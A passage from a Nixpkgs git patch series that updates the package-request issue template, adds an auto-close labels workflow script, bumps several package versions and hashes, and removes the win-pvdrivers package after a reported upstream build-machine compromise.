+        You can find language-specific packaging information in the [Nixpkgs Manual][nixpkgs].
+        Should you need any help, please reach out to the community on [Matrix] or [Discourse].
+
+        [community]: https://nixos.org/community
+        [contribute]: https://github.com/NixOS/nixpkgs/blob/master/pkgs/README.md#quick-start-to-adding-a-package
+        [maintainers]: https://github.com/NixOS/nixpkgs/blob/master/maintainers/README.md
+        [nixpkgs]: https://nixos.org/manual/nixpkgs/unstable/
+        [Matrix]: https://matrix.to/#/#dev:nixos.org
+        [Discourse]: https://discourse.nixos.org/c/dev/14
+
+        ---
+  - type: "checkboxes"
+    id: "ignored"
+    attributes:
+      label: "Issues for new package requests are not accepted. Please open a Pull Request instead."
+      options:
+        - label: "I didn't read any of that."

From 792b94e7535b403a3ae83cffd18486e804ab1a2d Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 29 Aug 2025 21:02:57 +0200
Subject: [PATCH 4042/4511] ISSUE_TEMPLATE: revert one-sentence-per-line for
 package_request

We tried, but GitHub's markdown renderer will render these newlines
there, so going back to "real" paragraphs.

Also fixed the emphasis slightly, since "via Issues" is not bold, "via a
Pull Request" is also made not bold for consistency. Puts the focus more
on the "contribute" link as well.

(cherry picked from commit 57cf2183572a58d55048d63bea00a0a0c46ea1ea)
---
 .github/ISSUE_TEMPLATE/10_package_request.yml | 9 ++-------
 1 file changed, 2 insertions(+), 7 deletions(-)

diff --git a/.github/ISSUE_TEMPLATE/10_package_request.yml b/.github/ISSUE_TEMPLATE/10_package_request.yml
index 3f5fb06691b6..e7bff36f7d3c 100644
--- a/.github/ISSUE_TEMPLATE/10_package_request.yml
+++ b/.github/ISSUE_TEMPLATE/10_package_request.yml
@@ -16,14 +16,9 @@ body:
           </a>
         </p>
 
-        Thank you for your interest in packaging new software in Nixpkgs.
-        Unfortunately, to mitigate the unsustainable growth of unmaintained packages, **Nixpkgs is no longer accepting package requests** via Issues.
+        Thank you for your interest in packaging new software in Nixpkgs. Unfortunately, to mitigate the unsustainable growth of unmaintained packages, **Nixpkgs is no longer accepting package requests** via Issues.
 
-        As a [volunteer community][community], we are always open to new contributors.
-        If you wish to see this package in Nixpkgs, **we encourage you to [contribute] it yourself, via a Pull Request**.
-        Anyone can [become a package maintainer][maintainers]!
-        You can find language-specific packaging information in the [Nixpkgs Manual][nixpkgs].
-        Should you need any help, please reach out to the community on [Matrix] or [Discourse].
+        As a [volunteer community][community], we are always open to new contributors. If you wish to see this package in Nixpkgs, **we encourage you to [contribute] it yourself**, via a Pull Request. Anyone can [become a package maintainer][maintainers]! You can find language-specific packaging information in the [Nixpkgs Manual][nixpkgs]. Should you need any help, please reach out to the community on [Matrix] or [Discourse].
 
         [community]: https://nixos.org/community
         [contribute]: https://github.com/NixOS/nixpkgs/blob/master/pkgs/README.md#quick-start-to-adding-a-package

From f814e824f8aa301d34899a21ae0f1a2d305e01ed Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 18 Aug 2025 15:04:06 +0200
Subject: [PATCH 4043/4511] ci/github-script/labels: auto close package request
 issues

This allows the labels workflow to support issue management in two ways:
- New package request can potentially created with a `4.workflow:
auto-close` label immediately and be closed automatically this way.
- Existing package requests can be bulk-closed by adding this label.
This has the advantage of posting the explanatory comment at the same
time, which is not possible with regular bulk operations.

(cherry picked from commit b5dee53399e985f074d579dc439c1282ee9cb033)
---
 ci/github-script/labels.js | 47 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 47 insertions(+)

diff --git a/ci/github-script/labels.js b/ci/github-script/labels.js
index 3086cbaf3844..d50dab436d8a 100644
--- a/ci/github-script/labels.js
+++ b/ci/github-script/labels.js
@@ -171,6 +171,47 @@ module.exports = async ({ github, context, core, dry }) => {
     return prLabels
   }
 
+  // Returns true if the issue was closed. In this case, the labeling does not need to
+  // continue for this issue. Returns false if no action was taken.
+  async function handleAutoClose(item) {
+    const issue_number = item.number
+
+    if (item.labels.some(({ name }) => name === '0.kind: packaging request')) {
+      const body = [
+        'Thank you for your interest in packaging new software in Nixpkgs. Unfortunately, to mitigate the unsustainable growth of unmaintained packages, **Nixpkgs is no longer accepting package requests** via Issues.',
+        '',
+        'As a [volunteer community][community], we are always open to new contributors. If you wish to see this package in Nixpkgs, **we encourage you to [contribute] it yourself**, via a Pull Request. Anyone can [become a package maintainer][maintainers]! You can find language-specific packaging information in the [Nixpkgs Manual][nixpkgs]. Should you need any help, please reach out to the community on [Matrix] or [Discourse].',
+        '',
+        '[community]: https://nixos.org/community',
+        '[contribute]: https://github.com/NixOS/nixpkgs/blob/master/pkgs/README.md#quick-start-to-adding-a-package',
+        '[maintainers]: https://github.com/NixOS/nixpkgs/blob/master/maintainers/README.md',
+        '[nixpkgs]: https://nixos.org/manual/nixpkgs/unstable/',
+        '[Matrix]: https://matrix.to/#/#dev:nixos.org',
+        '[Discourse]: https://discourse.nixos.org/c/dev/14',
+      ].join('\n')
+
+      core.info(`Issue #${item.number}: auto-closed`)
+
+      if (!dry) {
+        await github.rest.issues.createComment({
+          ...context.repo,
+          issue_number,
+          body,
+        })
+
+        await github.rest.issues.update({
+          ...context.repo,
+          issue_number,
+          state: 'closed',
+          state_reason: 'not_planned',
+        })
+      }
+
+      return true
+    }
+    return false
+  }
+
   async function handle({ item, stats }) {
     try {
       const log = (k, v, skip) => {
@@ -190,6 +231,12 @@ module.exports = async ({ github, context, core, dry }) => {
         Object.assign(itemLabels, await handlePullRequest({ item, stats }))
       } else {
         stats.issues++
+        if (item.labels.some(({ name }) => name === '4.workflow: auto-close')) {
+          // If this returns true, the issue was closed. In this case we return, to not
+          // label the issue anymore. Most importantly this avoids unlabeling stale issues
+          // which are closed via auto-close.
+          if (await handleAutoClose(item)) return
+        }
       }
 
       const latest_event_at = new Date(

From ed4a34a99bd889846e25c5b415c6ee5919df5809 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Wed, 27 Aug 2025 17:25:42 +0200
Subject: [PATCH 4044/4511] proton-ge-bin: GE-Proton10-13 -> GE-Proton10-15

(cherry picked from commit 7d8634cea12a2727b5c05b6b3ee4b3d868ebda7e)
---
 pkgs/by-name/pr/proton-ge-bin/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pr/proton-ge-bin/package.nix b/pkgs/by-name/pr/proton-ge-bin/package.nix
index 8e989f315667..0e73a2a7d840 100644
--- a/pkgs/by-name/pr/proton-ge-bin/package.nix
+++ b/pkgs/by-name/pr/proton-ge-bin/package.nix
@@ -9,11 +9,11 @@
 }:
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "proton-ge-bin";
-  version = "GE-Proton10-13";
+  version = "GE-Proton10-15";
 
   src = fetchzip {
     url = "https://github.com/GloriousEggroll/proton-ge-custom/releases/download/${finalAttrs.version}/${finalAttrs.version}.tar.gz";
-    hash = "sha256-HjCsnPX3TwUroVj8RnQ0k6unU2Ou/E5PogRIElDWjgE=";
+    hash = "sha256-VS9oFut8Wz2sbMwtX5tZkeusLDcZP3FOLUsQRabaZ0c=";
   };
 
   dontUnpack = true;

From 4229d6161cf158daf17482ae798abd8d9e62bd54 Mon Sep 17 00:00:00 2001
From: Anders Kaseorg <andersk@mit.edu>
Date: Fri, 29 Aug 2025 15:10:07 -0700
Subject: [PATCH 4045/4511] =?UTF-8?q?zulip:=205.12.0=20=E2=86=92=205.12.1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Anders Kaseorg <andersk@mit.edu>
(cherry picked from commit 593320dbd154b081a2d22cc25432fb1d91a3aa1a)
---
 pkgs/by-name/zu/zulip/package.nix | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/zu/zulip/package.nix b/pkgs/by-name/zu/zulip/package.nix
index 405842b94574..0ed9a5429972 100644
--- a/pkgs/by-name/zu/zulip/package.nix
+++ b/pkgs/by-name/zu/zulip/package.nix
@@ -3,7 +3,7 @@
   fetchFromGitHub,
   buildNpmPackage,
   python3,
-  electron_35,
+  electron_37,
   makeDesktopItem,
   makeShellWrapper,
   copyDesktopItems,
@@ -11,16 +11,17 @@
 
 buildNpmPackage rec {
   pname = "zulip";
-  version = "5.12.0";
+  version = "5.12.1";
 
   src = fetchFromGitHub {
     owner = "zulip";
     repo = "zulip-desktop";
     tag = "v${version}";
-    hash = "sha256-YDb69tJCR58DARssnZgdVxtRpR8vHsawCTv7kQ56y+8=";
+    hash = "sha256-YuiPf/ciSm0nBlF8U55EkPSTz+RI148QKOFv6FmYRD0=";
   };
 
-  npmDepsHash = "sha256-MKKN6prUdWaHm27GybdbswDMNJH0xVffXsT2ZwroOHI=";
+  npmDepsHash = "sha256-RNXhDV0b1FZglIS5UsTn6YboJ4Au1/CZVtRz1BvcP2E=";
+  makeCacheWritable = true;
 
   env = {
     ELECTRON_SKIP_BINARY_DOWNLOAD = 1;
@@ -37,8 +38,8 @@ buildNpmPackage rec {
     runHook preBuild
 
     npm run pack -- \
-      -c.electronDist=${electron_35}/libexec/electron \
-      -c.electronVersion=${electron_35.version}
+      -c.electronDist=${electron_37}/libexec/electron \
+      -c.electronVersion=${electron_37.version}
 
     runHook postBuild
   '';
@@ -51,7 +52,7 @@ buildNpmPackage rec {
 
     install -m 444 -D app/resources/zulip.png $out/share/icons/hicolor/512x512/apps/zulip.png
 
-    makeShellWrapper '${lib.getExe electron_35}' "$out/bin/zulip" \
+    makeShellWrapper '${lib.getExe electron_37}' "$out/bin/zulip" \
       --add-flags "$out/share/lib/zulip/app.asar" \
       --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-wayland-ime=true}}" \
       --inherit-argv0

From 75e3d27eb11d322d18130ad2da09043c4402c3e7 Mon Sep 17 00:00:00 2001
From: Philip Taron <philip.taron@gmail.com>
Date: Thu, 28 Aug 2025 12:52:07 -0700
Subject: [PATCH 4046/4511] win-pvdrivers: drop

This package has been removed as it was subject to the Xen build machine compromise ([XSN-01]) and has open security vulnerabilities ([XSA-468]).

[XSN-01]: https://lists.xenproject.org/archives/html/xen-announce/2023-07/msg00000.html
[XSA-468]: https://xenbits.xen.org/xsa/advisory-468.html

(cherry picked from commit 15e895181bc06d58268e265500b3aeb5c8444374)
---
 pkgs/by-name/wi/win-pvdrivers/package.nix | 80 -----------------------
 pkgs/top-level/aliases.nix                |  1 +
 2 files changed, 1 insertion(+), 80 deletions(-)
 delete mode 100644 pkgs/by-name/wi/win-pvdrivers/package.nix

diff --git a/pkgs/by-name/wi/win-pvdrivers/package.nix b/pkgs/by-name/wi/win-pvdrivers/package.nix
deleted file mode 100644
index 275dd5e21205..000000000000
--- a/pkgs/by-name/wi/win-pvdrivers/package.nix
+++ /dev/null
@@ -1,80 +0,0 @@
-{
-  lib,
-  stdenvNoCC,
-  fetchurl,
-}:
-
-let
-  # Upstream versioned download links are broken
-  # NOTE: the archive.org timestamp must be updated if the version changes.
-  # See https://xenproject.org/downloads/
-  files = [
-    {
-      url = "https://web.archive.org/web/20230817070451if_/https://xenbits.xenproject.org/pvdrivers/win/xenbus.tar";
-      hash = "sha256-sInkbVL/xkoUeZxgknLM3e2AXBVSqItF2Vpkon53Xec=";
-    }
-    {
-      url = "https://web.archive.org/web/20230817070811if_/https://xenbits.xenproject.org/pvdrivers/win/xencons.tar";
-      hash = "sha256-r8bxH5B4y0V9qgALi42KtpZW05UOevv29AqqXaIXMBo=";
-    }
-    {
-      url = "https://web.archive.org/web/20230817070811if_/https://xenbits.xenproject.org/pvdrivers/win/xenhid.tar";
-      hash = "sha256-e7ztzaXi/6irMus9IH0cfbW5HiKSaybXV1C/rd5mEfA=";
-    }
-    {
-      url = "https://web.archive.org/web/20230817071133if_/https://xenbits.xenproject.org/pvdrivers/win/xeniface.tar";
-      hash = "sha256-qPM0TjcGR2luPtOSAfXJ22k6yhwJOmOP3ot6kopEFsI=";
-    }
-    {
-      url = "https://web.archive.org/web/20230817071134if_/https://xenbits.xenproject.org/pvdrivers/win/xennet.tar";
-      hash = "sha256-Vg1wSfXjIVRd2iXCa19W4Jdaf2LTVin0yac/D70UjPM=";
-    }
-    {
-      url = "https://web.archive.org/web/20230817070811if_/https://xenbits.xenproject.org/pvdrivers/win/xenvbd.tar";
-      hash = "sha256-nLNM0TWqsEWiQBCYxARMldvRecRUcY5DBF5DNAG4490=";
-    }
-    {
-      url = "https://web.archive.org/web/20230817071225if_/https://xenbits.xenproject.org/pvdrivers/win/xenvif.tar";
-      hash = "sha256-R8G5vG6Q4g0/UkA2oxcc9/jaHZQYb+u64NShCNt7s7U=";
-    }
-    {
-      url = "https://web.archive.org/web/20230817071153if_/https://xenbits.xenproject.org/pvdrivers/win/xenvkbd.tar";
-      hash = "sha256-CaSxCKnT/KaZw8Ma60g2z+4lOOWIRisGRtzMveQqQmM=";
-    }
-  ];
-
-in
-stdenvNoCC.mkDerivation {
-  pname = "win-pvdrivers";
-  version = "unstable-2023-08-17";
-
-  srcs = map (
-    { hash, url }:
-    fetchurl {
-      inherit hash url;
-      # Wait & retry up to 3 times as archive.org can closes connection
-      # when an HTTP client makes too many requests
-      curlOpts = "--retry 3 --retry-delay 5";
-    }
-  ) files;
-
-  unpackPhase = ''
-    runHook preUnpack
-
-    for _src in $srcs; do
-      mkdir -p $out
-      tar xfv $_src -C $out
-    done
-
-    runHook postUnpack
-  '';
-
-  meta = with lib; {
-    description = "Xen Subproject: Windows PV Drivers";
-    homepage = "https://xenproject.org/developers/teams/windows-pv-drivers/";
-    license = licenses.bsd2;
-    maintainers = with maintainers; [ anthonyroussel ];
-    platforms = platforms.linux;
-    sourceProvenance = with sourceTypes; [ binaryNativeCode ];
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 63cc7bf45a80..b3906a2f6a62 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -2034,6 +2034,7 @@ mapAliases {
   wg-bond = throw "'wg-bond' has been removed due to lack of upstream maintenance"; # Added 2025-01-25
   whatsapp-for-linux = wasistlos; # Added 2025-01-30
   wineWayland = wine-wayland;
+  win-pvdrivers = throw "'win-pvdrivers' has been removed as it was subject to the Xen build machine compromise (XSN-01) and has open security vulnerabilities (XSA-468)"; # Added 2025-08-29
   win-virtio = virtio-win; # Added 2023-10-17
   wireguard-vanity-address = throw "'wireguard-vanity-address' has been removed due to lack of upstream maintenance"; # Added 2025-01-26
   wkhtmltopdf-bin = wkhtmltopdf; # Added 2024-07-17

From d866cfcbd779a91bfcea62a1703cf38fb3b9ccb0 Mon Sep 17 00:00:00 2001
From: Ivan Trubach <mr.trubach@icloud.com>
Date: Fri, 29 Aug 2025 12:33:11 +0300
Subject: [PATCH 4047/4511] python3Packages.protobuf5: 5.29.4 -> 5.29.5

https://github.com/protocolbuffers/protobuf/compare/v5.29.4...v5.29.5
(cherry picked from commit 543daa48625890ec51e8ee6ebdb8851713eb0040)
---
 pkgs/development/python-modules/protobuf/5.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/protobuf/5.nix b/pkgs/development/python-modules/protobuf/5.nix
index c71acbec7717..8ea371e836c9 100644
--- a/pkgs/development/python-modules/protobuf/5.nix
+++ b/pkgs/development/python-modules/protobuf/5.nix
@@ -8,12 +8,12 @@
 
 buildPythonPackage rec {
   pname = "protobuf";
-  version = "5.29.4";
+  version = "5.29.5";
   pyproject = true;
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-Tx3815l7Me+PU+yCeB/0NKKL9x2RAt3eFNB2rc/HjJk=";
+    hash = "sha256-vBRjuv1LCSkhbDX0N6jihzGit/49mLt3pgDvztWhXIQ=";
   };
 
   build-system = [ setuptools ];

From 5e75748b174d230ff61c6f77a8bcccfe4ecc37e0 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 29 Aug 2025 09:07:02 +0000
Subject: [PATCH 4048/4511] tutanota-desktop: 301.250806.1 -> 304.250825.0

(cherry picked from commit 50a40de93f5ed9efdfd1bfc150c733d8839a2e47)
---
 pkgs/by-name/tu/tutanota-desktop/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/tu/tutanota-desktop/package.nix b/pkgs/by-name/tu/tutanota-desktop/package.nix
index d5beef0bf130..a7f66c50e686 100644
--- a/pkgs/by-name/tu/tutanota-desktop/package.nix
+++ b/pkgs/by-name/tu/tutanota-desktop/package.nix
@@ -8,11 +8,11 @@
 
 appimageTools.wrapType2 rec {
   pname = "tutanota-desktop";
-  version = "301.250806.1";
+  version = "304.250825.0";
 
   src = fetchurl {
     url = "https://github.com/tutao/tutanota/releases/download/tutanota-desktop-release-${version}/tutanota-desktop-linux.AppImage";
-    hash = "sha256-vnHw1cOvLuJZYxisVaF6sh5XBqlDiaCS3PLugbbNaKk=";
+    hash = "sha256-5nEC9zTmPhlv8+7a2UAuZpGSmOC+lMPzCbc2InvAo2k=";
   };
 
   extraPkgs = pkgs: [ pkgs.libsecret ];

From 08877223bbfebf1f68588a57fb462597dc1f73f4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 29 Aug 2025 12:01:56 +0000
Subject: [PATCH 4049/4511] thunderbird-latest-bin-unwrapped: 141.0 -> 142.0

(cherry picked from commit cb1721bc870ea1cf3dd1dc7e39d2801110e1143b)
---
 .../thunderbird-bin/release_sources.nix       | 794 +++++++++---------
 1 file changed, 397 insertions(+), 397 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
index 2f90284ae933..f04042847e05 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
@@ -1,1193 +1,1193 @@
 {
-  version = "141.0";
+  version = "142.0";
   sources = [
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/af/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/af/thunderbird-142.0.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "12a07f29d6e64e18caeef13b7c218863239ea90bde62325811af7699b85fe196";
+      sha256 = "7584382539cc901039cc2b1ba2b93ad5b9b57537c73f96c3da2f914ea130571b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ar/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/ar/thunderbird-142.0.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "f3074263a05af16b520b90d858247d9be1c97881641291b7077908d4c76e01a1";
+      sha256 = "1ba796338fa9eb6319f9181c6a9d11108d1ed7c1eac6558af084ca3406bdbd13";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ast/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/ast/thunderbird-142.0.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "8942892fee9178594f84ddadaade8425594ad147d433e2d7e6a766ad37eec733";
+      sha256 = "99bb4c86802bb37b29b8385b78014caf2f0a6bdd4a81abed8c6e27ee5a388952";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/be/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/be/thunderbird-142.0.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "b175ded9c9c7e3dfc1ab15848cd4d07fd59bd795c22ba3825d9e27905085a3cd";
+      sha256 = "54f49c84c7fbaa3aada5a679cd00a5f4be9fdd883189777cf7fd5cb0f55ca385";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/bg/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/bg/thunderbird-142.0.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "b05a569ddce271e89844a39affd9f4d4a53f6e4bd2fc6b5eca414564d3a6563e";
+      sha256 = "664bf9c0e8a790f256eeb2cb0ef077aac5beb958196585bb206071cf0b3972c5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/br/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/br/thunderbird-142.0.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "6276bf47b6bf727c7e863954d6ae02b034f8d1a6a1c283dde581c61d6d69585f";
+      sha256 = "80b175d0dedf0f06207690502d03d2cc95e205357745b54608fef031a16d2d11";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ca/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/ca/thunderbird-142.0.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "eaa3ee617f1335ef235ed8d0e257900a4f1fb31b89a1b0febd54cd79a0548f71";
+      sha256 = "e7c05eb1c13a35429f67b0030b118921cebf92aacbc28a0d2222b1c1d6e75c09";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/cak/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/cak/thunderbird-142.0.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "bc7a232696d1b4d933a936262d54dc156a938ead5c5e3ecaa472223fc97dea1c";
+      sha256 = "b3e5e9f6ea28e8eb038d80f264e745fc527628cd7d5235b29ebfd13cf0257576";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/cs/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/cs/thunderbird-142.0.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "2500647f557ea8f53b015349c69b483042a3c14d913c873a74b7cdd7252d6ab2";
+      sha256 = "67c968a6569ff0fe177f8b323a5c79f8c26aecf141d634af5aa284c17456d4bf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/cy/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/cy/thunderbird-142.0.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "606bcdae313e03f073e3223ddbd36ebfada6577f99b218f24e03a0dd04c0cb4f";
+      sha256 = "e79baa1bd4ac938137e3773725bba59b7dba807ca2f0cf426072fb81247e7d56";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/da/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/da/thunderbird-142.0.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "a4b9a1561bea4216d3a54f944dfdcb66ac9e89fc7fc4035d6c0da0a65326e26a";
+      sha256 = "2cd0caec716abc92e8a88eb802e760b0240842be00a509f59c3d70a330f77d8b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/de/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/de/thunderbird-142.0.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "8472f7039cb6de2ac5728f0f41059820df6fc4a0fb5627f09137e148839bc449";
+      sha256 = "70ae29b40d337b8a33e13f1d3cc83936e8798451b1f760741cbf3eaa57ead4c8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/dsb/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/dsb/thunderbird-142.0.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "75e83573db6977179b728f1b0ed90bb41f8e719addef349395c3091682e16964";
+      sha256 = "db75331a67281ea55be2aa3b6454c1b4858cf10d6676d2ebc9f5694379fd3b6c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/el/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/el/thunderbird-142.0.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "bbbd69e89f6049d0c0f0afb7ddf66ce50237fdeb724f2efb47e1c455eb5f502d";
+      sha256 = "a75c809fd3081de7684447b519c0e8d2e99f256871ecab8fa62cdaab609637a0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/en-CA/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/en-CA/thunderbird-142.0.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "6fd325aa2528917e5c62a843dbae4af1d8afc0bf548e0590922f29c04fddfd6d";
+      sha256 = "bab20e3c71201bbfb31261f0c3c18c1102e095131c82ed5da8d3f7bafbcd50d7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/en-GB/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/en-GB/thunderbird-142.0.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "3ce3f1ebf25552679da4d043afb7c3d4a2f17fdb5d6e17303b3d1c4aa29ffe13";
+      sha256 = "a1771872f9b0faa42afdb30db8286abbc6076c37a69d7d1f2cebeb1f3c60f9b0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/en-US/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/en-US/thunderbird-142.0.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "137a75c034b8bda7cbe546555f384e19eba82e51ed531577d5e5d178718568f4";
+      sha256 = "2ab423122393b8640e72178d7c690ce50a920ccb8fbd1206f367813e6ea54574";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/es-AR/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/es-AR/thunderbird-142.0.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "7656269ab07ed2495565087a9c743b919b84139dda833e098d96d6d68f826a30";
+      sha256 = "09e3c907372ba6adb7a064673a67d4d202a48a139ce1cbe884711f7506cb040d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/es-ES/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/es-ES/thunderbird-142.0.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "460f8649656a9c37f4b89f0c85b44d1fe0236fdeef1b0bff69b2a36cd998fa36";
+      sha256 = "e6b55e77ee66f2bc7f18c791c718420dd08c4f03ae3d79409028232fdfe8adad";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/es-MX/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/es-MX/thunderbird-142.0.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "e5187639f7df8e74419de3d2e5eae2c8b9646e16f91c9b666518952d023f07ca";
+      sha256 = "faa7716c695bdd70b75192d1e9cb91783179f64f8ecb67623f47d77e20d300e9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/et/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/et/thunderbird-142.0.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "c9c1ac8e2ef246c93407b2cb80022ec95e69d66581a2efbbafb5cad09b987abb";
+      sha256 = "6d1b33eaf4e699dbf6dfd4fb70272585a9c3a7783acf80c13bab030c733188fc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/eu/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/eu/thunderbird-142.0.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "59f896bdb415984c597fcef8ef75e38ab4b31584058f0efce0023a1aad9c95b6";
+      sha256 = "fee0ae2420b6371fab0c3444793092c26ee52ab073f8430cc01aa49960cfb2a7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/fi/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-x86_64/fi/thunderbird-142.0.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "014fe15360acb7ccac8d1247eba6a2f731022715e13fb34aac547c4217107772";
